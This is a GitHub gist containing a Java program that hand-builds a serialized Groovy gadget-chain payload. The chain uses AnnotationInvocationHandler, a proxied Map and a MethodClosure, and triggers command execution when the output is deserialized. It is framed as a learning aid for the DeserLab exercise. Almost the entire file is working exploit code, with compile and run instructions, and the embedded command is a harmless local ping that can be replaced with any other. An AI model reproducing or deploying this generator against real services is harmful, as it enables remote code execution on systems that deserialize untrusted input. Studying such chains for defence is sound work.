Skip to content

Instantly share code, notes, and snippets.

@DiabloHorn
Created September 9, 2017 18:46
Show Gist options
  • Star 2 You must be signed in to star a gist
  • Fork 2 You must be signed in to fork a gist
  • Save DiabloHorn/44d91d3cbefa425b783a6849f23b8aa7 to your computer and use it in GitHub Desktop.
Save DiabloHorn/44d91d3cbefa425b783a6849f23b8aa7 to your computer and use it in GitHub Desktop.
Java class to generate a Groovy serialized payload
/*
DiabloHorn - https://diablohorn.com
For learning purposes we build the groovy payload ourselves instead of using
ysoserial. This helps us better understand the chain and the mechanisms
involved in exploiting this bug.
compile with:
javac -cp <path to groovy lib> ManualPayloadGenerate.java
Example:
javac -cp DeserLab/DeserLab-v1.0/lib/groovy-all-2.3.9.jar ManualPayloadGenerate.java
Execute:
java -cp .:DeserLab/DeserLab-v1.0/lib/groovy-all-2.3.9.jar ManualPayloadGenerate > payload_manual.bin
References, including those we borrowed code from
https://nickbloor.co.uk/2017/08/13/attacking-java-deserialization/
https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html
https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html
http://gursevkalra.blogspot.nl/2016/01/ysoserial-commonscollections1-exploit.html
https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/
https://www.slideshare.net/codewhitesec/exploiting-deserialization-vulnerabilities-in-java-54707478
https://www.youtube.com/watch?v=VviY3O-euVQ
http://wouter.coekaerts.be/2015/annotationinvocationhandler
http://www.baeldung.com/java-dynamic-proxies
https://stackoverflow.com/questions/37068982/how-to-execute-shell-command-with-parameters-in-groovy
https://www.sourceclear.com/registry/security/remote-code-execution-through-object-deserialization/java/sid-1710/technical
*/
//regular imports
import java.io.IOException;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.io.PrintStream;
import java.util.Map;
//reflection imports
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
//library specific imports
import org.codehaus.groovy.runtime.ConvertedClosure;
import org.codehaus.groovy.runtime.MethodClosure;
public class ManualPayloadGenerate{
public static void main(String[] args) throws IOException, ClassNotFoundException, InstantiationException, IllegalAccessException, InvocationTargetException {
Object groovyExploit = getGroovyExploitObject();
serializeToByteArray(groovyExploit);
}
public static void serializeToByteArray(Object object) throws IOException {
PrintStream out = System.out;
final ObjectOutputStream objOut = new ObjectOutputStream(out);
objOut.writeObject(object);
}
public static Object getGroovyExploitObject() throws ClassNotFoundException, InstantiationException, IllegalAccessException, InvocationTargetException {
final ConvertedClosure closure = new ConvertedClosure(new MethodClosure("ping 127.0.0.1", "execute"), "entrySet");
//here we proxy all calls to methods
final Map map = (Map) Proxy.newProxyInstance(ManualPayloadGenerate.class.getClassLoader(), new Class[] {Map.class}, closure);
//this is the first class that will be deserialized
String classToSerialize = "sun.reflect.annotation.AnnotationInvocationHandler";
//access the constructor of the AnnotationInvocationHandler class
final Constructor<?> constructor = Class.forName(classToSerialize).getDeclaredConstructors()[0];
//normally the constructor is not accessible, so we need to make it accessible
constructor.setAccessible(true);
//this is were we set the initial chain for exploitation
InvocationHandler secondInvocationHandler = (InvocationHandler) constructor.newInstance(Override.class, map);
return secondInvocationHandler;
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment